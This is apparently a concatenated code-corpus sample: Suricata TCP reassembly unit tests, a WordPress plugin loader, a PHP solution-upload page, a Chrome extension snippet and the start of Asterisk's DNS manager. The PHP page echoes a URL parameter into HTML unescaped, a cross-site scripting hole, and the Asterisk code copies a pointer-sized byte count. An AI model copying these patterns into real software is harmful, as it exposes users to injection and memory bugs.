printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("expected a single stream message: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (ssn.client.ra_raw_base_seq != 16) {
printf("ra_raw_base_seq %"PRIu32", expected 16: ", ssn.client.ra_raw_base_seq);
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
ssn.client.next_seq = 22;
p->tcph->th_seq = htonl(17);
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed 2: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected a single stream message, got %u: ", UtSsnSmsgCnt(&ssn, STREAM_TOSERVER));
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (ssn.client.ra_raw_base_seq != 21) {
printf("ra_raw_base_seq %"PRIu32", expected 21: ", ssn.client.ra_raw_base_seq);
goto end;
}
if (ssn.client.seg_list->seq != 7) {
printf("expected segment 2 (seq 7) to be first in the list, got seq %"PRIu32": ", ssn.client.seg_list->seq);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test 3 in order segments, then reassemble, add one more and reassemble again.
* test the sliding window reassembly with a small window size so that we
* cutting off at the start (left edge). Test if the first segment is
* removed from the list.
*/
static int StreamTcpReassembleInlineTest09(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
stream_config.reassembly_toserver_chunk_size = 20;
ssn.client.flags |= STREAMTCP_STREAM_FLAG_GAP;
uint8_t stream_payload1[] = "AAAAABBBBBCCCCC";
uint8_t stream_payload2[] = "DDDDD";
uint8_t stream_payload3[] = "AAAAABBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(17);
p->flow = &f;
p->flowflags |= FLOW_PKT_TOSERVER;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 12;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected 2 stream message2, got %u: ", UtSsnSmsgCnt(&ssn, STREAM_TOSERVER));
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 10) {
printf("expected data length to be 10, got %u (bot): ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 10) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 10);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 5) {
printf("expected data length to be 5, got %u (top): ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 5) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 5);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (ssn.client.ra_raw_base_seq != 11) {
printf("ra_raw_base_seq %"PRIu32", expected 11: ", ssn.client.ra_raw_base_seq);
goto end;
}
/* close the GAP and see if we properly reassemble and update ra_base_seq */
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
ssn.client.next_seq = 22;
p->tcph->th_seq = htonl(12);
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed 2: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 3) {
printf("expected 3 stream messages: ");
goto end;
}
smsg = ssn.toserver_smsg_head->next->next;
if (smsg->data_len != 20) {
printf("expected data length to be 20, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload3, smsg->data, 20) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload3, 20);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (ssn.client.ra_raw_base_seq != 21) {
printf("ra_raw_base_seq %"PRIu32", expected 21: ", ssn.client.ra_raw_base_seq);
goto end;
}
if (ssn.client.seg_list->seq != 2) {
printf("expected segment 1 (seq 2) to be first in the list, got seq %"PRIu32": ", ssn.client.seg_list->seq);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test App Layer reassembly.
*/
static int StreamTcpReassembleInlineTest10(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow *f = NULL;
Packet *p = NULL;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.server, 1);
f = UTHBuildFlow(AF_INET, "1.1.1.1", "2.2.2.2", 1024, 80);
if (f == NULL)
goto end;
f->protoctx = &ssn;
f->proto = IPPROTO_TCP;
uint8_t stream_payload1[] = "GE";
uint8_t stream_payload2[] = "T /";
uint8_t stream_payload3[] = "HTTP/1.0\r\n\r\n";
p = UTHBuildPacketReal(stream_payload3, 12, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(7);
p->flow = f;
p->flowflags |= FLOW_PKT_TOSERVER;
SCMutexLock(&f->m);
if (StreamTcpUTAddSegmentWithPayload(&tv, ra_ctx, &ssn.server, 2, stream_payload1, 2) == -1) {
printf("failed to add segment 1: ");
goto end;
}
ssn.server.next_seq = 4;
int r = StreamTcpReassembleAppLayer(&tv, ra_ctx, &ssn, &ssn.server, p);
if (r < 0) {
printf("StreamTcpReassembleAppLayer failed: ");
goto end;
}
/* ssn.server.ra_app_base_seq should be isn here. */
if (ssn.server.ra_app_base_seq != 1 || ssn.server.ra_app_base_seq != ssn.server.isn) {
printf("expected ra_app_base_seq 1, got %u: ", ssn.server.ra_app_base_seq);
goto end;
}
if (StreamTcpUTAddSegmentWithPayload(&tv, ra_ctx, &ssn.server, 4, stream_payload2, 3) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithPayload(&tv, ra_ctx, &ssn.server, 7, stream_payload3, 12) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.server.next_seq = 19;
r = StreamTcpReassembleAppLayer(&tv, ra_ctx, &ssn, &ssn.server, p);
if (r < 0) {
printf("StreamTcpReassembleAppLayer failed: ");
goto end;
}
if (ssn.server.ra_app_base_seq != 18) {
printf("expected ra_app_base_seq 18, got %u: ", ssn.server.ra_app_base_seq);
goto end;
}
ret = 1;
end:
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
SCMutexUnlock(&f->m);
UTHFreeFlow(f);
return ret;
}
/** \test test insert with overlap
*/
static int StreamTcpReassembleInsertTest01(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
uint8_t stream_payload1[] = "AAAAABBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 14, 'D', 2) == -1) {
printf("failed to add segment 3: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 16, 'D', 6) == -1) {
printf("failed to add segment 4: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 5: ");
goto end;
}
ssn.client.next_seq = 21;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("expected a single stream message: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 20) {
printf("expected data length to be 20, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 20) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 20);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (ssn.client.ra_raw_base_seq != 21) {
printf("ra_raw_base_seq %"PRIu32", expected 21: ", ssn.client.ra_raw_base_seq);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test test insert with overlaps
*/
static int StreamTcpReassembleInsertTest02(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
int i;
for (i = 2; i < 10; i++) {
int len;
len = i % 2;
if (len == 0)
len = 1;
int seq;
seq = i * 10;
if (seq < 2)
seq = 2;
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, seq, 'A', len) == -1) {
printf("failed to add segment 1: ");
goto end;
}
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'B', 1024) == -1) {
printf("failed to add segment 2: ");
goto end;
}
ret = 1;
end:
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test test insert with overlaps
*/
static int StreamTcpReassembleInsertTest03(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 1024) == -1) {
printf("failed to add segment 2: ");
goto end;
}
int i;
for (i = 2; i < 10; i++) {
int len;
len = i % 2;
if (len == 0)
len = 1;
int seq;
seq = i * 10;
if (seq < 2)
seq = 2;
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, seq, 'B', len) == -1) {
printf("failed to add segment 2: ");
goto end;
}
}
ret = 1;
end:
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
#endif /* UNITTESTS */
/** \brief The Function Register the Unit tests to test the reassembly engine
* for various OS policies.
*/
void StreamTcpReassembleRegisterTests(void)
{
#ifdef UNITTESTS
UtRegisterTest("StreamTcpReassembleTest01 -- BSD OS Before Reassembly Test", StreamTcpReassembleTest01, 1);
UtRegisterTest("StreamTcpReassembleTest02 -- BSD OS At Same Reassembly Test", StreamTcpReassembleTest02, 1);
UtRegisterTest("StreamTcpReassembleTest03 -- BSD OS After Reassembly Test", StreamTcpReassembleTest03, 1);
UtRegisterTest("StreamTcpReassembleTest04 -- BSD OS Complete Reassembly Test", StreamTcpReassembleTest04, 1);
UtRegisterTest("StreamTcpReassembleTest05 -- VISTA OS Before Reassembly Test", StreamTcpReassembleTest05, 1);
UtRegisterTest("StreamTcpReassembleTest06 -- VISTA OS At Same Reassembly Test", StreamTcpReassembleTest06, 1);
UtRegisterTest("StreamTcpReassembleTest07 -- VISTA OS After Reassembly Test", StreamTcpReassembleTest07, 1);
UtRegisterTest("StreamTcpReassembleTest08 -- VISTA OS Complete Reassembly Test", StreamTcpReassembleTest08, 1);
UtRegisterTest("StreamTcpReassembleTest09 -- LINUX OS Before Reassembly Test", StreamTcpReassembleTest09, 1);
UtRegisterTest("StreamTcpReassembleTest10 -- LINUX OS At Same Reassembly Test", StreamTcpReassembleTest10, 1);
UtRegisterTest("StreamTcpReassembleTest11 -- LINUX OS After Reassembly Test", StreamTcpReassembleTest11, 1);
UtRegisterTest("StreamTcpReassembleTest12 -- LINUX OS Complete Reassembly Test", StreamTcpReassembleTest12, 1);
UtRegisterTest("StreamTcpReassembleTest13 -- LINUX_OLD OS Before Reassembly Test", StreamTcpReassembleTest13, 1);
UtRegisterTest("StreamTcpReassembleTest14 -- LINUX_OLD At Same Reassembly Test", StreamTcpReassembleTest14, 1);
UtRegisterTest("StreamTcpReassembleTest15 -- LINUX_OLD OS After Reassembly Test", StreamTcpReassembleTest15, 1);
UtRegisterTest("StreamTcpReassembleTest16 -- LINUX_OLD OS Complete Reassembly Test", StreamTcpReassembleTest16, 1);
UtRegisterTest("StreamTcpReassembleTest17 -- SOLARIS OS Before Reassembly Test", StreamTcpReassembleTest17, 1);
UtRegisterTest("StreamTcpReassembleTest18 -- SOLARIS At Same Reassembly Test", StreamTcpReassembleTest18, 1);
UtRegisterTest("StreamTcpReassembleTest19 -- SOLARIS OS After Reassembly Test", StreamTcpReassembleTest19, 1);
UtRegisterTest("StreamTcpReassembleTest20 -- SOLARIS OS Complete Reassembly Test", StreamTcpReassembleTest20, 1);
UtRegisterTest("StreamTcpReassembleTest21 -- LAST OS Before Reassembly Test", StreamTcpReassembleTest21, 1);
UtRegisterTest("StreamTcpReassembleTest22 -- LAST OS At Same Reassembly Test", StreamTcpReassembleTest22, 1);
UtRegisterTest("StreamTcpReassembleTest23 -- LAST OS After Reassembly Test", StreamTcpReassembleTest23, 1);
UtRegisterTest("StreamTcpReassembleTest24 -- LAST OS Complete Reassembly Test", StreamTcpReassembleTest24, 1);
UtRegisterTest("StreamTcpReassembleTest25 -- Gap at Start Reassembly Test", StreamTcpReassembleTest25, 1);
UtRegisterTest("StreamTcpReassembleTest26 -- Gap at middle Reassembly Test", StreamTcpReassembleTest26, 1);
UtRegisterTest("StreamTcpReassembleTest27 -- Gap at after Reassembly Test", StreamTcpReassembleTest27, 1);
UtRegisterTest("StreamTcpReassembleTest28 -- Gap at Start IDS missed packet Reassembly Test", StreamTcpReassembleTest28, 1);
UtRegisterTest("StreamTcpReassembleTest29 -- Gap at Middle IDS missed packet Reassembly Test", StreamTcpReassembleTest29, 1);
UtRegisterTest("StreamTcpReassembleTest30 -- Gap at End IDS missed packet Reassembly Test", StreamTcpReassembleTest30, 1);
UtRegisterTest("StreamTcpReassembleTest31 -- Fast Track Reassembly Test", StreamTcpReassembleTest31, 1);
UtRegisterTest("StreamTcpReassembleTest32 -- Bug test", StreamTcpReassembleTest32, 1);
UtRegisterTest("StreamTcpReassembleTest33 -- Bug test", StreamTcpReassembleTest33, 1);
UtRegisterTest("StreamTcpReassembleTest34 -- Bug test", StreamTcpReassembleTest34, 1);
UtRegisterTest("StreamTcpReassembleTest35 -- Bug56 test", StreamTcpReassembleTest35, 1);
UtRegisterTest("StreamTcpReassembleTest36 -- Bug57 test", StreamTcpReassembleTest36, 1);
UtRegisterTest("StreamTcpReassembleTest37 -- Bug76 test", StreamTcpReassembleTest37, 1);
UtRegisterTest("StreamTcpReassembleTest38 -- app proto test", StreamTcpReassembleTest38, 1);
UtRegisterTest("StreamTcpReassembleTest39 -- app proto test", StreamTcpReassembleTest39, 1);
UtRegisterTest("StreamTcpReassembleTest40 -- app proto test", StreamTcpReassembleTest40, 1);
UtRegisterTest("StreamTcpReassembleTest43 -- min smsg size test", StreamTcpReassembleTest43, 1);
UtRegisterTest("StreamTcpReassembleTest44 -- Memcap Test", StreamTcpReassembleTest44, 1);
UtRegisterTest("StreamTcpReassembleTest45 -- Depth Test", StreamTcpReassembleTest45, 1);
UtRegisterTest("StreamTcpReassembleTest46 -- Depth Test", StreamTcpReassembleTest46, 1);
UtRegisterTest("StreamTcpReassembleTest47 -- TCP Sequence Wraparound Test", StreamTcpReassembleTest47, 1);
UtRegisterTest("StreamTcpReassembleInlineTest01 -- inline RAW ra", StreamTcpReassembleInlineTest01, 1);
UtRegisterTest("StreamTcpReassembleInlineTest02 -- inline RAW ra 2", StreamTcpReassembleInlineTest02, 1);
UtRegisterTest("StreamTcpReassembleInlineTest03 -- inline RAW ra 3", StreamTcpReassembleInlineTest03, 1);
UtRegisterTest("StreamTcpReassembleInlineTest04 -- inline RAW ra 4", StreamTcpReassembleInlineTest04, 1);
UtRegisterTest("StreamTcpReassembleInlineTest05 -- inline RAW ra 5 GAP", StreamTcpReassembleInlineTest05, 1);
UtRegisterTest("StreamTcpReassembleInlineTest06 -- inline RAW ra 6 GAP", StreamTcpReassembleInlineTest06, 1);
UtRegisterTest("StreamTcpReassembleInlineTest07 -- inline RAW ra 7 GAP", StreamTcpReassembleInlineTest07, 1);
UtRegisterTest("StreamTcpReassembleInlineTest08 -- inline RAW ra 8 cleanup", StreamTcpReassembleInlineTest08, 1);
UtRegisterTest("StreamTcpReassembleInlineTest09 -- inline RAW ra 9 GAP cleanup", StreamTcpReassembleInlineTest09, 1);
UtRegisterTest("StreamTcpReassembleInlineTest10 -- inline APP ra 10", StreamTcpReassembleInlineTest10, 1);
UtRegisterTest("StreamTcpReassembleInsertTest01 -- insert with overlap", StreamTcpReassembleInsertTest01, 1);
UtRegisterTest("StreamTcpReassembleInsertTest02 -- insert with overlap", StreamTcpReassembleInsertTest02, 1);
UtRegisterTest("StreamTcpReassembleInsertTest03 -- insert with overlap", StreamTcpReassembleInsertTest03, 1);
StreamTcpInlineRegisterTests();
StreamTcpUtilRegisterTests();
#endif /* UNITTESTS */
}
| Brainiarc7/oisf | src/stream-tcp-reassemble.c | C | gpl-2.0 | 307,265 |
<?php
/**
* Plugin Name: Category Image Video
* Plugin URI: https://github.com/cheh/
* Description: This is a WordPress plugin that adds two additional fields to the taxonomy "Category".
* Version: 1.0.0
* Author: Dmitriy Chekhovkiy <[email protected]>
* Author URI: https://github.com/cheh/
* Text Domain: category-image-video
* License: GPL-2.0+
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
* Domain Path: /languages
*
* @package Category_Image_Video
* @author Dmitriy Chekhovkiy <[email protected]>
* @license GPL-2.0+
* @link https://github.com/cheh/
* @copyright 2017 Dmitriy Chekhovkiy
*/
// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
die;
}
if ( ! version_compare( PHP_VERSION, '5.4', '>=' ) ) {
add_action( 'admin_notices', 'civ_fail_wp_version' );
} else {
// Public-Facing Functionality.
require_once( plugin_dir_path( __FILE__ ) . 'includes/class-category-image-video-tools.php' );
require_once( plugin_dir_path( __FILE__ ) . 'public/class-category-image-video.php' );
add_action( 'plugins_loaded', array( 'CIV_Plugin', 'get_instance' ) );
// Dashboard and Administrative Functionality.
if ( is_admin() ) {
require_once( plugin_dir_path( __FILE__ ) . 'admin/class-category-image-video-admin.php' );
add_action( 'plugins_loaded', array( 'CIV_Plugin_Admin', 'get_instance' ) );
}
}
add_action( 'plugins_loaded', 'civ_load_plugin_textdomain' );
/**
* Load the plugin text domain for translation.
*
* @since 1.0.0
*/
function civ_load_plugin_textdomain() {
load_plugin_textdomain( 'category-image-video', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
}
/**
* Show in WP Dashboard notice about the plugin is not activated.
*
* @since 1.0.0
*/
function civ_fail_wp_version() {
$message = esc_html__( 'This plugin requires WordPress version 4.4, plugin is currently NOT ACTIVE.', 'category-image-video' );
$html_message = sprintf( '<div class="error">%s</div>', wpautop( $message ) );
echo wp_kses_post( $html_message );
}
| cheh88/category-image-video | category-image-video.php | PHP | gpl-2.0 | 2,076 |
<?php
include $_SERVER['DOCUMENT_ROOT'].'/includes/php_header.php';
$problem = $u->getProblemById($_GET['p']);
if($_POST){
$data = $_POST;
$data['figure'] = file_get_contents($_FILES['figure']['tmp_name']);
$data['figure_file'] = $_FILES['figure']['tmp_name'];
$data['mml'] = file_get_contents($_FILES['mml']['tmp_name']);
if(!$u->submitSolution($data)){
$error = $u->error;
}
else{
$msg = 'Solution submitted successfully. It will appear on the website after approval of an editor. Thank you for contributing to this growing collection of science-problems!';
}
}
?>
<!DOCTYPE HTML>
<html>
<head>
<title>New problem</title>
<?php include 'includes/html_head_include.php'; ?>
</head>
<body class="no-sidebar">
<?php include $_SERVER['DOCUMENT_ROOT'].'/includes/header.php'; ?>
<!-- Main Wrapper -->
<div id="main-wrapper">
<div class="container">
<div class="row">
<div class="12u">
<!-- Portfolio -->
<section>
<div>
<div class="row">
<div class="12u skel-cell-mainContent">
<!-- Content -->
<article class="box is-post">
<header>
<h2>New Solution</h2>
</header>
<p>
<h3>Problem</h3>
<?php
echo $problem['mml'];
?>
<h3>Upload solution file</h3>
<span class="error"><?php echo $error; ?></span>
<span class="message"><?php echo $msg; ?></span>
<form class="fullwidth" enctype="multipart/form-data" method="post" action="">
<input type="hidden" name="problem_id" value="<?php echo $_GET['p']; ?>"/>
<label>Figure (optional)</label>
<input type="file" class="file" name="figure" />
<label>MathML file</label>
<input type="file" class="file" name="mml" required/>
<br/>
<input type="submit"/>
</form>
</p>
</article>
</div>
</div>
</div>
</section>
</div>
</div>
</div>
</div>
<?php include $_SERVER['DOCUMENT_ROOT'].'/includes/footer.php'; ?>
</body>
</html>
| CarvingIT/science-problems | public_html/new_solution.php | PHP | gpl-2.0 | 2,151 |
/*global chrome */
// Check if the feature is enable
let promise = new Promise(function (resolve) {
chrome.storage.sync.get({
isEdEnable: true
}, function (items) {
if (items.isEdEnable === true) {
resolve();
}
});
});
promise.then(function () {
/*global removeIfExist */
/*eslint no-undef: "error"*/
removeIfExist(".blockheader");
removeIfExist(".blockcontent .upload-infos");
removeIfExist(".blockfooter");
}); | hochgenug/BADW | scripts/ed.js | JavaScript | gpl-2.0 | 481 |
/*
* Asterisk -- An open source telephony toolkit.
*
* Copyright (C) 2005-2006, Kevin P. Fleming
*
* Kevin P. Fleming <[email protected]>
*
* See http://www.asterisk.org for more information about
* the Asterisk project. Please do not directly contact
* any of the maintainers of this project for assistance;
* the project provides a web site, mailing lists and IRC
* channels for your use.
*
* This program is free software, distributed under the terms of
* the GNU General Public License Version 2. See the LICENSE file
* at the top of the source tree.
*/
/*! \file
*
* \brief Background DNS update manager
*
* \author Kevin P. Fleming <[email protected]>
*
* \bug There is a minor race condition. In the event that an IP address
* of a dnsmgr managed host changes, there is the potential for the consumer
* of that address to access the in_addr data at the same time that the dnsmgr
* thread is in the middle of updating it to the new address.
*/
#include "asterisk.h"
ASTERISK_FILE_VERSION(__FILE__, "$Revision: 130752 $")
#include "asterisk/_private.h"
#include <regex.h>
#include <signal.h>
#include "asterisk/dnsmgr.h"
#include "asterisk/linkedlists.h"
#include "asterisk/utils.h"
#include "asterisk/config.h"
#include "asterisk/sched.h"
#include "asterisk/cli.h"
#include "asterisk/manager.h"
static struct sched_context *sched;
static int refresh_sched = -1;
static pthread_t refresh_thread = AST_PTHREADT_NULL;
struct ast_dnsmgr_entry {
/*! where we will store the resulting address */
struct in_addr *result;
/*! the last result, used to check if address has changed */
struct in_addr last;
/*! Set to 1 if the entry changes */
int changed:1;
ast_mutex_t lock;
AST_RWLIST_ENTRY(ast_dnsmgr_entry) list;
/*! just 1 here, but we use calloc to allocate the correct size */
char name[1];
};
static AST_RWLIST_HEAD_STATIC(entry_list, ast_dnsmgr_entry);
AST_MUTEX_DEFINE_STATIC(refresh_lock);
#define REFRESH_DEFAULT 300
static int enabled;
static int refresh_interval;
struct refresh_info {
struct entry_list *entries;
int verbose;
unsigned int regex_present:1;
regex_t filter;
};
static struct refresh_info master_refresh_info = {
.entries = &entry_list,
.verbose = 0,
};
struct ast_dnsmgr_entry *ast_dnsmgr_get(const char *name, struct in_addr *result)
{
struct ast_dnsmgr_entry *entry;
if (!result || ast_strlen_zero(name) || !(entry = ast_calloc(1, sizeof(*entry) + strlen(name))))
return NULL;
entry->result = result;
ast_mutex_init(&entry->lock);
strcpy(entry->name, name);
memcpy(&entry->last, result, sizeof(entry->last));
AST_RWLIST_WRLOCK(&entry_list);
AST_RWLIST_INSERT_HEAD(&entry_list, entry, list);
AST_RWLIST_UNLOCK(&entry_list);
return entry;
}
void ast_dnsmgr_release(struct ast_dnsmgr_entry *entry)
{
if (!entry)
return;
AST_RWLIST_WRLOCK(&entry_list);
AST_RWLIST_REMOVE(&entry_list, entry, list);
AST_RWLIST_UNLOCK(&entry_list);
ast_verb(4, "removing dns manager for '%s'\n", entry->name);
ast_mutex_destroy(&entry->lock);
ast_free(entry);
}
int ast_dnsmgr_lookup(const char *name, struct in_addr *result, struct ast_dnsmgr_entry **dnsmgr)
{
struct ast_hostent ahp;
struct hostent *hp;
if (ast_strlen_zero(name) || !result || !dnsmgr)
return -1;
if (*dnsmgr && !strcasecmp((*dnsmgr)->name, name))
return 0;
ast_verb(4, "doing dnsmgr_lookup for '%s'\n", name);
/* if it's actually an IP address and not a name,
there's no need for a managed lookup */
if (inet_aton(name, result))
return 0;
/* do a lookup now but add a manager so it will automagically get updated in the background */
if ((hp = ast_gethostbyname(name, &ahp)))
memcpy(result, hp->h_addr, sizeof(result));
/* if dnsmgr is not enable don't bother adding an entry */
if (!enabled)
return 0;
ast_verb(3, "adding dns manager for '%s'\n", name);
*dnsmgr = ast_dnsmgr_get(name, result);
return !*dnsmgr;
}
/*
* Refresh a dnsmgr entry
*/
static int dnsmgr_refresh(struct ast_dnsmgr_entry *entry, int verbose)
{
struct ast_hostent ahp;
struct hostent *hp;
char iabuf[INET_ADDRSTRLEN];
char iabuf2[INET_ADDRSTRLEN];
struct in_addr tmp;
int changed = 0;
ast_mutex_lock(&entry->lock);
if (verbose)
ast_verb(3, "refreshing '%s'\n", entry->name);
if ((hp = ast_gethostbyname(entry->name, &ahp))) {
/* check to see if it has changed, do callback if requested (where de callback is defined ????) */
memcpy(&tmp, hp->h_addr, sizeof(tmp));
if (tmp.s_addr != entry->last.s_addr) {
ast_copy_string(iabuf, ast_inet_ntoa(entry->last), sizeof(iabuf));
ast_copy_string(iabuf2, ast_inet_ntoa(tmp), sizeof(iabuf2));
ast_log(LOG_NOTICE, "host '%s' changed from %s to %s\n",
entry->name, iabuf, iabuf2);
memcpy(entry->result, hp->h_addr, sizeof(entry->result));
memcpy(&entry->last, hp->h_addr, sizeof(entry->last));
changed = entry->changed = 1;
}
}
ast_mutex_unlock(&entry->lock);
return changed;
}
int ast_dnsmgr_refresh(struct ast_dnsmgr_entry *entry)
{
return dnsmgr_refresh(entry, 0);
}
/*
* Check if dnsmgr entry has changed from since last call to this function
*/
int ast_dnsmgr_changed(struct ast_dnsmgr_entry *entry)
{
int changed;
ast_mutex_lock(&entry->lock);
changed = entry->changed;
entry->changed = 0;
ast_mutex_unlock(&entry->lock);
return changed;
}
static void *do_refresh(void *data)
{
for (;;) {
